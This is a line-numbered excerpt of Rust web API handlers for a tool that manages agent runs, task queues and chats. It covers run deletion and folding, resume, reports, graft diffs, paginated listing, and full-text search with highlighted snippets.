4129 Path(id): Path<String>,
4130) -> ApiResult<Json<RunDetailView>> {
4131 blocking(move || {
4132 let id = resolve_run(&ui.runs, &id)?;
4133 let state = read_run(&ui.runs, &id)?;
4134 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4135 let live = state.liveness(daemon_claims);
4136 crate::queue::record_ids(ui.questions.root(), "json")?;
4137 let waiting = ui
4138 .questions
4139 .list()
4140 .iter()
4141 .any(|q| q.run == id && q.status.open());
4142 let max_attempts = daemon::Opts::default().max_attempts;
4143
4144 let matching_task = ui.find_task_for_run(&id)?;
4145
4146 let superseded_by = state
4147 .pr_taken_over_by
4148 .clone()
4149 .or_else(|| {
4150 matching_task
4151 .as_ref()
4152 .and_then(|t| t.successor_of(&id).cloned())
4153 })
4154 .as_deref()
4155 .map(crate::run::short_of)
4156 .map(str::to_owned);
4157
4158 let latest_attempt = matching_task
4162 .as_ref()
4163 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4164 .and_then(|head_id| {
4165 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4166 short: head.short().to_owned(),
4167 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4168 status: head.status,
4169 done: head.status.done(),
4170 id: head.id,
4171 })
4172 });
4173
4174 let task = matching_task
4175 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4176
4177 Ok(Json(RunDetailView::of(
4178 state,
4179 waiting,
4180 live,
4181 superseded_by,
4182 latest_attempt,
4183 task,
4184 )))
4185 })
4186 .await
4187}
4188
4189async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4198 let (id, unreadable) = {
4199 let ui = Arc::clone(&ui);
4200 blocking(move || {
4201 let id = resolve_run(&ui.runs, &id)?;
4202 match read_run(&ui.runs, &id) {
4203 Ok(state) => {
4204 let in_flight =
4205 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4206 state
4207 .ensure_can_delete(in_flight)
4208 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4209 let dir = ui.runs.join(&id);
4210 std::fs::remove_dir_all(&dir)
4211 .with_context(|| format!("remove run directory {}", dir.display()))?;
4212 Ok((id, false))
4213 }
4214 Err(_) => {
4215 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4219 return Err(ApiError::conflict(format!(
4220 "run {id} is being worked on by a live daemon right now"
4221 )));
4222 }
4223 Ok((id, true))
4224 }
4225 }
4226 })
4227 .await?
4228 };
4229 if unreadable {
4230 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4231 .await
4232 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4233 }
4234 let ui = Arc::clone(&ui);
4235 let done = id.clone();
4236 blocking(move || {
4237 ui.questions.abandon_for_run(
4240 &done,
4241 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4242 )?;
4243 Ok(())
4244 })
4245 .await?;
4246 Ok(StatusCode::NO_CONTENT)
4247}
4248
4249async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4273 let (id, state) = {
4274 let ui = Arc::clone(&ui);
4275 blocking(move || {
4276 let id = resolve_run(&ui.runs, &id)?;
4277 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4278 return Err(ApiError::conflict(format!(
4279 "run {id} is being worked on by a live daemon right now"
4280 )));
4281 }
4282 let state = read_run(&ui.runs, &id).ok();
4283 Ok((id, state))
4284 })
4285 .await?
4286 };
4287 let removed = match state {
4288 Some(mut state) => {
4289 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4290 .await
4291 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4292 if removed.is_empty() {
4297 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4298 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4299 }
4300 removed
4301 }
4302 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4303 .await
4304 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4305 };
4306 Ok(Json(FoldView {
4307 run: id,
4308 removed_count: removed.len(),
4309 removed,
4310 }))
4311}
4312
4313#[derive(Debug, Serialize)]
4315struct FoldView {
4316 run: String,
4317 removed: Vec<String>,
4319 removed_count: usize,
4320}
4321
4322#[derive(Debug, Deserialize)]
4325struct FoldMergedBody {
4326 #[serde(default)]
4327 pr_url: String,
4328}
4329
4330async fn run_fold_merged(
4350 State(ui): State<Arc<Ui>>,
4351 Path(id): Path<String>,
4352 Json(body): Json<FoldMergedBody>,
4353) -> ApiResult<Json<FoldMergedView>> {
4354 let pr_url = body.pr_url.trim().to_owned();
4355 if pr_url.is_empty() {
4356 return Err(ApiError::bad_request("pr_url is required"));
4357 }
4358 let (id, mut state) = {
4359 let ui = Arc::clone(&ui);
4360 blocking(move || {
4361 let id = resolve_run(&ui.runs, &id)?;
4362 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4363 return Err(ApiError::conflict(format!(
4364 "run {id} is being worked on by a live daemon right now"
4365 )));
4366 }
4367 let state = read_run(&ui.runs, &id)?;
4368 Ok((id, state))
4369 })
4370 .await?
4371 };
4372 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4373 .await
4374 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4375 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4376 .await
4377 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4378 Ok(Json(FoldMergedView {
4379 run: id,
4380 before: before.as_str().to_owned(),
4381 after: after.as_str().to_owned(),
4382 removed,
4383 }))
4384}
4385
4386#[derive(Debug, Serialize)]
4388struct FoldMergedView {
4389 run: String,
4390 before: String,
4392 after: String,
4394 removed: Vec<String>,
4396}
4397
4398async fn run_resume(
4418 State(ui): State<Arc<Ui>>,
4419 Path(id): Path<String>,
4420) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4421 let admission = ui.begin_admission()?;
4422 admitted(admission, async move {
4423 let (id, state) = {
4424 let ui = Arc::clone(&ui);
4425 blocking(move || {
4426 let id = resolve_run(&ui.runs, &id)?;
4427 let state = read_run(&ui.runs, &id)?;
4428 Ok((id, state))
4429 })
4430 .await?
4431 };
4432 crate::resume::validate_unqueued(&ui.home, &id)
4433 .map_err(|e| ApiError::conflict(e.to_string()))?;
4434 let _resume = ui.begin_resume(&id)?;
4435
4436 crate::resume::start(&ui.home, id.clone())
4437 .await
4438 .map_err(ApiError::from)?;
4439 let queued = RunSummary::of(
4442 &state,
4443 !ui.questions.open_for(&id).is_empty(),
4444 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4445 );
4446 Ok((StatusCode::ACCEPTED, Json(queued)))
4447 })
4448 .await
4449}
4450
4451async fn run_report(
4452 State(ui): State<Arc<Ui>>,
4453 Path(id): Path<String>,
4454) -> ApiResult<impl IntoResponse> {
4455 let text = blocking(move || {
4456 let id = resolve_run(&ui.runs, &id)?;
4457 let state = read_run(&ui.runs, &id)?;
4461 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4462 let live = state.liveness(daemon_claims);
4463 Ok(format!(
4464 "{}{}",
4465 report::run(&state),
4466 report::active_seats(&state, live)
4467 ))
4468 })
4469 .await?;
4470 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4471}
4472
4473async fn run_report_json(
4477 State(ui): State<Arc<Ui>>,
4478 Path(id): Path<String>,
4479) -> ApiResult<Json<crate::report_view::RunReportView>> {
4480 let view = blocking(move || {
4481 let id = resolve_run(&ui.runs, &id)?;
4482 let state = read_run(&ui.runs, &id)?;
4483 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4484 let recovered = state.graft.as_ref().map(|_| {
4486 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4487 });
4488 Ok(crate::report_view::build_with(
4489 &state,
4490 state.liveness(daemon_claims),
4491 recovered.as_ref(),
4492 ))
4493 })
4494 .await?;
4495 Ok(Json(view))
4496}
4497
4498const GRAFT_DIFF_MAX: usize = 400 * 1024;
4500const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4502
4503async fn run_graft_diff(
4506 State(ui): State<Arc<Ui>>,
4507 Path(id): Path<String>,
4508) -> ApiResult<impl IntoResponse> {
4509 let (repo, pre, post) = blocking(move || {
4510 let id = resolve_run(&ui.runs, &id)?;
4511 let state = read_run(&ui.runs, &id)?;
4512 let g = state
4513 .graft
4514 .as_ref()
4515 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4516 let post = g
4517 .post
4518 .clone()
4519 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4520 Ok((state.repo.clone(), g.pre.clone(), post))
4521 })
4522 .await?;
4523 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4524 if !hex(&pre) || !hex(&post) {
4525 return Err(ApiError::not_found("the recorded commits are not valid"));
4526 }
4527 let out = tokio::time::timeout(
4528 GRAFT_DIFF_TIMEOUT,
4529 crate::git::git_raw(
4530 &repo,
4531 &[
4532 "diff",
4533 "--no-color",
4534 "--no-ext-diff",
4535 "-M",
4536 &pre,
4537 &post,
4538 "--",
4539 ],
4540 ),
4541 )
4542 .await
4543 .map_err(|_| ApiError::not_found("git diff timed out"))?
4544 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4545 if out.code != Some(0) {
4546 return Err(ApiError::not_found(
4547 "the recorded commits are no longer in the repository",
4548 ));
4549 }
4550 let mut body = out.stdout;
4551 if body.len() > GRAFT_DIFF_MAX {
4552 let mut cut = GRAFT_DIFF_MAX;
4553 while !body.is_char_boundary(cut) {
4554 cut -= 1;
4555 }
4556 body.truncate(cut);
4557 body.push_str("\n... diff truncated ...");
4558 }
4559 Ok((
4560 [
4561 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4562 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4563 ],
4564 body,
4565 ))
4566}
4567
4568#[derive(Debug, Serialize)]
4574struct TaskView {
4575 #[serde(flatten)]
4576 task: Task,
4577 source_label: String,
4578 source_link: Option<SourceLink>,
4579 status_str: &'static str,
4580 instruction_md: Vec<md::Node>,
4584 waits_on: Vec<String>,
4588 stuck_roots: Vec<String>,
4591}
4592
4593impl From<Task> for TaskView {
4594 fn from(task: Task) -> Self {
4595 Self {
4596 source_label: task.source.label(),
4597 source_link: source_link(&task.source),
4598 status_str: task.status.as_str(),
4599 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4600 waits_on: Vec::new(),
4601 stuck_roots: Vec::new(),
4602 task,
4603 }
4604 }
4605}
4606
4607impl TaskView {
4608 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4609 let waits_on = inv.waits_on(&task);
4610 let stuck_roots = inv
4611 .stuck_roots(&task)
4612 .iter()
4613 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4614 .collect();
4615 Self {
4616 waits_on,
4617 stuck_roots,
4618 ..Self::from(task)
4619 }
4620 }
4621}
4622
4623#[derive(Debug, Default, Deserialize)]
4626#[serde(default)]
4627struct ReposQuery {
4628 refresh: u8,
4629}
4630
4631async fn repos_list(
4638 State(ui): State<Arc<Ui>>,
4639 Query(q): Query<ReposQuery>,
4640) -> ApiResult<Json<Vec<repos::Repo>>> {
4641 let refresh = q.refresh != 0;
4642 blocking(move || {
4643 let (cfg, _) = Config::discover(&ui.repo, None)?;
4644 Ok(Json(ui.repos_cache.list(
4645 &cfg.repos.roots,
4646 Duration::from_secs(cfg.repos.scan_ttl),
4647 refresh,
4648 )))
4649 })
4650 .await
4651}
4652
4653#[derive(Debug, Default, Deserialize)]
4655struct SettingsQuery {
4656 repo: Option<PathBuf>,
4657}
4658
4659fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4663 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4664 let paths: Vec<PathBuf> = ui
4665 .machine_config
4666 .iter()
4667 .filter(|p| p.is_file())
4668 .cloned()
4669 .collect();
4670 if paths.is_empty() {
4671 Ok(Config::autodetected())
4672 } else {
4673 Config::load_layers(&paths)
4674 }
4675 });
4676 let mut known = cfg
4677 .map(|cfg| {
4678 ui.repos_cache.list(
4679 &cfg.repos.roots,
4680 Duration::from_secs(cfg.repos.scan_ttl),
4681 refresh,
4682 )
4683 })
4684 .unwrap_or_default();
4685 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4686 if !known.iter().any(|r| r.path == path) {
4687 known.push(repos::Repo {
4688 name: path
4689 .file_name()
4690 .unwrap_or_default()
4691 .to_string_lossy()
4692 .into_owned(),
4693 path,
4694 });
4695 }
4696 known
4697}
4698
4699fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4700 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4701 let canonical = requested.canonicalize().ok();
4702 let mut known = settings_repositories(ui, false);
4703 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4704 if !known.iter().any(matches) {
4705 known = settings_repositories(ui, true);
4706 }
4707 let repo = known
4708 .iter()
4709 .find(|r| matches(r))
4710 .map(|r| r.path.clone())
4711 .ok_or_else(|| ApiError {
4712 text_reason: None,
4713 status: StatusCode::UNPROCESSABLE_ENTITY,
4714 message: "Choose a known repository from the Settings selector.".to_owned(),
4715 })?;
4716 Ok((repo, known))
4717}
4718
4719async fn settings_get(
4723 State(ui): State<Arc<Ui>>,
4724 Query(q): Query<SettingsQuery>,
4725) -> ApiResult<Json<settings::SettingsView>> {
4726 blocking(move || {
4727 let (repo, known) = settings_context(&ui, q)?;
4728 Ok(Json(settings::view_with_repos(
4729 &repo,
4730 ui.machine_config.as_deref(),
4731 &known,
4732 )))
4733 })
4734 .await
4735}
4736
4737#[derive(Debug, Deserialize)]
4739#[serde(deny_unknown_fields)]
4740struct RolesBody {
4741 revision: String,
4743 #[serde(default)]
4745 roles: std::collections::BTreeMap<String, Vec<String>>,
4746 #[serde(default)]
4750 counts: std::collections::BTreeMap<String, serde_json::Value>,
4751}
4752
4753async fn settings_put_roles(
4759 State(ui): State<Arc<Ui>>,
4760 Query(q): Query<SettingsQuery>,
4761 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4762) -> ApiResult<Json<settings::SettingsView>> {
4763 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4764 blocking(move || {
4765 let (repo, known) = settings_context(&ui, q)?;
4766 settings::save_with_repos(
4767 &repo,
4768 ui.machine_config.as_deref(),
4769 &body.revision,
4770 &body.roles,
4771 &body.counts,
4772 &known,
4773 )
4774 .map(Json)
4775 .map_err(|e| match e {
4776 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4777 settings::SaveError::Refused(m) => ApiError {
4778 text_reason: None,
4779 status: StatusCode::UNPROCESSABLE_ENTITY,
4780 message: m,
4781 },
4782 settings::SaveError::Internal(m) => ApiError::internal(m),
4783 })
4784 })
4785 .await
4786}
4787
4788async fn queue_list(
4789 State(ui): State<Arc<Ui>>,
4790 Query(q): Query<ListQuery>,
4791) -> ApiResult<Json<Vec<TaskView>>> {
4792 blocking(move || {
4793 let tasks = ui.queue.list();
4794 let inv =
4795 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4796 Ok(Json(
4797 tasks
4798 .into_iter()
4799 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4800 .map(|t| TaskView::with_inventory(t, &inv))
4801 .collect(),
4802 ))
4803 })
4804 .await
4805}
4806
4807#[derive(Debug, Default, Deserialize)]
4812struct PageQuery {
4813 before: Option<String>,
4814}
4815
4816#[derive(Serialize)]
4817struct StorePage<T> {
4818 rows: Vec<T>,
4819 next: Option<String>,
4820}
4821
4822const STORE_PAGE_SIZE: usize = 16;
4823
4824#[derive(Debug)]
4828struct ListWalk {
4829 token: u64,
4830 talks: bool,
4831 opened: std::time::Instant,
4832 ids: Arc<Vec<String>>,
4833}
4834
4835fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4836 let mut walks = ui
4837 .monitor
4838 .list_walks
4839 .lock()
4840 .unwrap_or_else(PoisonError::into_inner);
4841 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4842 let (token, ids, offset) = if let Some(cursor) = q.before {
4843 let (token, offset) = cursor
4844 .split_once(':')
4845 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4846 let token = token
4847 .parse::<u64>()
4848 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4849 let offset = offset
4850 .parse::<usize>()
4851 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4852 let walk = walks
4853 .iter()
4854 .find(|walk| walk.token == token && walk.talks == talks)
4855 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4856 (token, walk.ids.clone(), offset)
4857 } else {
4858 let root = if talks {
4859 ui.talks.root()
4860 } else {
4861 ui.queue.root()
4862 };
4863 let mut ids = crate::queue::record_ids(root, "json")?;
4864 ids.sort_unstable_by(|a, b| b.cmp(a));
4865 let ids = Arc::new(ids);
4866 let mut token = crate::rng::entropy();
4867 while walks.iter().any(|walk| walk.token == token) {
4868 token = crate::rng::entropy();
4869 }
4870 if walks.len() >= 16 {
4873 walks.remove(0);
4874 }
4875 walks.push(ListWalk {
4876 token,
4877 talks,
4878 opened: std::time::Instant::now(),
4879 ids: ids.clone(),
4880 });
4881 (token, ids, 0)
4882 };
4883 if offset > ids.len() {
4884 return Err(ApiError::bad_request("Invalid list cursor"));
4885 }
4886 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4887 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4888 Ok((ids[offset..end].to_vec(), next))
4889}
4890
4891async fn queue_page(
4892 State(ui): State<Arc<Ui>>,
4893 Query(q): Query<PageQuery>,
4894) -> ApiResult<Json<StorePage<TaskView>>> {
4895 blocking(move || {
4896 let (ids, next) = page_ids(&ui, false, q)?;
4897 let tasks: Vec<_> = ids
4898 .into_iter()
4899 .filter_map(|id| ui.queue.get(&id).ok())
4900 .collect();
4901 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4902 let rows = tasks
4903 .into_iter()
4904 .map(|task| TaskView::with_inventory(task, &inv))
4905 .collect();
4906 Ok(Json(StorePage { rows, next }))
4907 })
4908 .await
4909}
4910
4911#[derive(Serialize)]
4915struct TalkListView {
4916 id: String,
4917 repo: PathBuf,
4918 agent: String,
4919 status: talk::TalkStatus,
4920 turns: Vec<TalkListTurn>,
4921 thinking: bool,
4922 context: talk::ContextUsage,
4923 created_at: Timestamp,
4924 updated_at: Timestamp,
4925}
4926
4927#[derive(Serialize)]
4928struct TalkListTurn {
4929 who: talk::Who,
4930 at: Timestamp,
4931 body: String,
4932}
4933
4934async fn talks_page(
4935 State(ui): State<Arc<Ui>>,
4936 Query(q): Query<PageQuery>,
4937) -> ApiResult<Json<StorePage<TalkListView>>> {
4938 blocking(move || {
4939 let (ids, next) = page_ids(&ui, true, q)?;
4940 let rows = ids
4941 .into_iter()
4942 .filter_map(|id| ui.talks.get(&id).ok())
4943 .map(|talk| TalkListView {
4944 thinking: ui.is_thinking(&talk.id),
4945 context: talk::context_usage(&talk, None),
4946 turns: talk
4947 .turns
4948 .iter()
4949 .map(|turn| TalkListTurn {
4950 who: turn.who,
4951 at: turn.at,
4952 body: turn
4953 .body
4954 .lines()
4955 .next()
4956 .unwrap_or_default()
4957 .chars()
4958 .take(240)
4959 .collect(),
4960 })
4961 .collect(),
4962 id: talk.id,
4963 repo: talk.repo,
4964 agent: talk.agent,
4965 status: talk.status,
4966 created_at: talk.created_at,
4967 updated_at: talk.updated_at,
4968 })
4969 .collect();
4970 Ok(Json(StorePage { rows, next }))
4971 })
4972 .await
4973}
4974
4975async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4976 blocking(move || {
4977 let tasks = ui.indexed_tasks()?;
4978 Ok(Json(TaskCountsView::from(
4979 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4980 )))
4981 })
4982 .await
4983}
4984
4985const SEARCH_MAX_HITS: usize = 100;
4987const SEARCH_MAX_QUERY: usize = 200;
4989const SEARCH_MAX_TERMS: usize = 8;
4990const SNIPPET_BEFORE: usize = 50;
4992const SNIPPET_AFTER: usize = 110;
4993
4994#[derive(Debug, Deserialize)]
4996struct SearchQuery {
4997 #[serde(default)]
4998 scope: String,
4999 #[serde(default)]
5000 q: String,
5001}
5002
5003#[derive(Debug, Serialize, PartialEq, Eq)]
5006struct SnippetPart {
5007 text: String,
5008 hit: bool,
5009}
5010
5011#[derive(Debug, Serialize)]
5012struct SearchHit {
5013 id: String,
5014 field: String,
5016 snippet: Vec<SnippetPart>,
5017 #[serde(skip_serializing_if = "Option::is_none")]
5021 run: Option<RunSummary>,
5022}
5023
5024#[derive(Debug, Serialize)]
5025struct SearchView {
5026 scope: String,
5027 q: String,
5028 hits: Vec<SearchHit>,
5030 total: usize,
5032 truncated: bool,
5033 unreadable: usize,
5036}
5037
5038fn text_leaves<'a>(
5041 value: &'a serde_json::Value,
5042 field: &'a str,
5043 out: &mut Vec<(&'a str, &'a str)>,
5044) {
5045 match value {
5046 serde_json::Value::String(s) => out.push((field, s)),
5047 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5048 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5049 _ => {}
5050 }
5051}
5052
5053fn fold_char(c: char) -> char {
5056 c.to_lowercase().next().unwrap_or(c)
5057}
5058
5059fn search_terms(q: &str) -> Vec<String> {
5061 let mut terms: Vec<String> = Vec::new();
5062 for t in q.split_whitespace() {
5063 let t = t.to_lowercase();
5064 if !terms.contains(&t) {
5065 terms.push(t);
5066 }
5067 }
5068 terms
5069}
5070
5071fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5074 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5075 let mut first: Option<usize> = None;
5076 for term in terms {
5077 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5078 first = Some(first.map_or(at, |f| f.min(at)));
5079 }
5080 let (field, text) = leaves[first?];
5082 Some(SearchHit {
5083 id: String::new(),
5084 field: field.to_owned(),
5085 snippet: snippet_of(text, terms),
5086 run: None,
5087 })
5088}
5089
5090fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5093 let chars: Vec<char> = text.chars().collect();
5094 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5095 let needles: Vec<Vec<char>> = terms
5096 .iter()
5097 .map(|t| t.chars().map(fold_char).collect())
5098 .collect();
5099 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5100 let mut best: Option<(usize, usize)> = None;
5101 for n in needles.iter().filter(|n| !n.is_empty()) {
5102 if n.len() > chars.len() || to == 0 {
5106 continue;
5107 }
5108 let last = (to - 1).min(chars.len() - n.len());
5109 if from > last {
5110 continue;
5111 }
5112 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5113 && best.is_none_or(|(b, _)| i < b)
5114 {
5115 best = Some((i, i + n.len()));
5116 }
5117 }
5118 best
5119 };
5120 let Some((start, _)) = find(0, chars.len()) else {
5121 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5123 return vec![SnippetPart {
5124 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5125 hit: false,
5126 }];
5127 };
5128 let lo = start.saturating_sub(SNIPPET_BEFORE);
5129 let hi = (start + SNIPPET_AFTER).min(chars.len());
5130 let mut parts: Vec<SnippetPart> = Vec::new();
5131 let mut push = |s: &[char], hit: bool| {
5132 if s.is_empty() {
5133 return;
5134 }
5135 let text: String = s.iter().collect();
5136 match parts.last_mut() {
5137 Some(p) if p.hit == hit => p.text.push_str(&text),
5138 _ => parts.push(SnippetPart { text, hit }),
5139 }
5140 };
5141 if lo > 0 {
5142 push(&['\u{2026}'], false);
5143 }
5144 let mut at = lo;
5145 while at < hi {
5146 match find(at, hi) {
5147 Some((s, e)) => {
5148 push(&chars[at..s], false);
5149 let shown = e.min(hi);
5151 push(&chars[s..shown], true);
5152 at = shown;
5153 }
5154 None => {
5155 push(&chars[at..hi], false);
5156 at = hi;
5157 }
5158 }
5159 }
5160 if hi < chars.len() {
5161 push(&['\u{2026}'], false);
5162 }
5163 let mut prev_space = false;
5166 for p in &mut parts {
5167 let mut out = String::with_capacity(p.text.len());
5168 for c in p.text.chars() {
5169 if c.is_whitespace() {
5170 if !prev_space {
5171 out.push(' ');
5172 }
5173 prev_space = true;
5174 } else {
5175 out.push(c);
5176 prev_space = false;
5177 }
5178 }
5179 p.text = out;
5180 }
5181 parts.retain(|p| !p.text.is_empty());
5182 parts
5183}
5184
5185fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5187where
5188 I: IntoIterator<Item = (String, serde_json::Value)>,
5189{
5190 for (id, doc) in docs {
5191 let mut leaves = Vec::new();
5192 leaves.push(("id", id.as_str()));
5195 text_leaves(&doc, "", &mut leaves);
5196 if let Some(mut hit) = search_document(terms, &leaves) {
5197 view.total += 1;
5198 if view.hits.len() < SEARCH_MAX_HITS {
5199 hit.id = id;
5200 view.hits.push(hit);
5201 }
5202 }
5203 }
5204 view.truncated = view.total > view.hits.len();
5205}
5206
5207fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5214 let opener = talk
5215 .turns
5216 .iter()
5217 .find(|t| t.who == crate::talk::Who::Operator)
5218 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5219 .unwrap_or("");
5220 let title: String = if opener.chars().count() > 96 {
5221 opener.chars().take(95).chain(['\u{2026}']).collect()
5222 } else {
5223 opener.to_owned()
5224 };
5225 let turns: Vec<serde_json::Value> = talk
5226 .turns
5227 .iter()
5228 .map(|t| {
5229 let who = match t.who {
5230 crate::talk::Who::Operator => "operator",
5231 crate::talk::Who::Agent => "agent",
5232 };
5233 serde_json::json!({ who: t.body })
5234 })
5235 .collect();
5236 serde_json::json!({ "title": title, "turns": turns })
5237}
5238
5239async fn search_get(
5246 State(ui): State<Arc<Ui>>,
5247 Query(q): Query<SearchQuery>,
5248) -> ApiResult<Json<SearchView>> {
5249 let query = q.q.trim().to_owned();
5250 if query.is_empty() {
5251 return Err(ApiError::bad_request("q must not be empty"));
5252 }
5253 if query.chars().count() > SEARCH_MAX_QUERY {
5254 return Err(ApiError::bad_request(format!(
5255 "q is longer than {SEARCH_MAX_QUERY} characters"
5256 )));
5257 }
5258 let terms = search_terms(&query);
5259 if terms.len() > SEARCH_MAX_TERMS {
5260 return Err(ApiError::bad_request(format!(
5261 "q has more than {SEARCH_MAX_TERMS} terms"
5262 )));
5263 }
5264 let scope = q.scope;
5265 if scope != "runs" && scope != "tasks" && scope != "chats" {
5266 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5267 }
5268 blocking(move || {
5269 let mut view = SearchView {
5270 scope: scope.clone(),
5271 q: query,
5272 hits: Vec::new(),
5273 total: 0,
5274 truncated: false,
5275 unreadable: 0,
5276 };
5277 if scope == "runs" {
5278 let mut unreadable = 0;
5279 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5283 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5284 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5285 Some(v) => Some((id, v)),
5286 None => {
5287 unreadable += 1;
5288 None
5289 }
5290 }
5291 });
5292 search_docs(&terms, docs, &mut view);
5293 view.unreadable = unreadable;
5294 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5297 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5298 for hit in &mut view.hits {
5299 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5300 hit.run = summarize(
5301 [state],
5302 &open_runs,
5303 &claimed,
5304 &superseded,
5305 |p| probe.borrow_mut().status(p),
5306 |p| probe.borrow_mut().started_at(p),
5307 )
5308 .pop();
5309 }
5310 }
5311 } else if scope == "chats" {
5312 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5313 view.unreadable = unreadable;
5314 search_docs(
5315 &terms,
5316 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5317 &mut view,
5318 );
5319 } else {
5320 let docs = ui.queue.list().into_iter().filter_map(|t| {
5321 let mut v = serde_json::to_value(&t).ok()?;
5322 if let Some(o) = v.as_object_mut() {
5325 o.insert("filed_by".to_owned(), t.source.label().into());
5326 }
5327 Some((t.id, v))
5328 });
5329 search_docs(&terms, docs, &mut view);
5330 }
5331 Ok(Json(view))
5332 })
5333 .await
5334}
5335
5336#[derive(Debug, Serialize)]
5338struct TaskRunView {
5339 n: usize,
5341 id: String,
5342 short: String,
5343 kind: &'static str,
5345 status: Option<&'static str>,
5347 readable: bool,
5349 provisional: bool,
5351 description: String,
5353 outcome: String,
5355 created_at: Option<Timestamp>,
5356 pr: Option<String>,
5357 exit: RunExit,
5359 attempt: AttemptCost,
5361 exit_label: String,
5364 later_pass: Option<usize>,
5367 pass_n: usize,
5371 passes_of_run: usize,
5372 pass: Option<PassView>,
5375 branch: Option<String>,
5377 badge: Option<String>,
5380}
5381
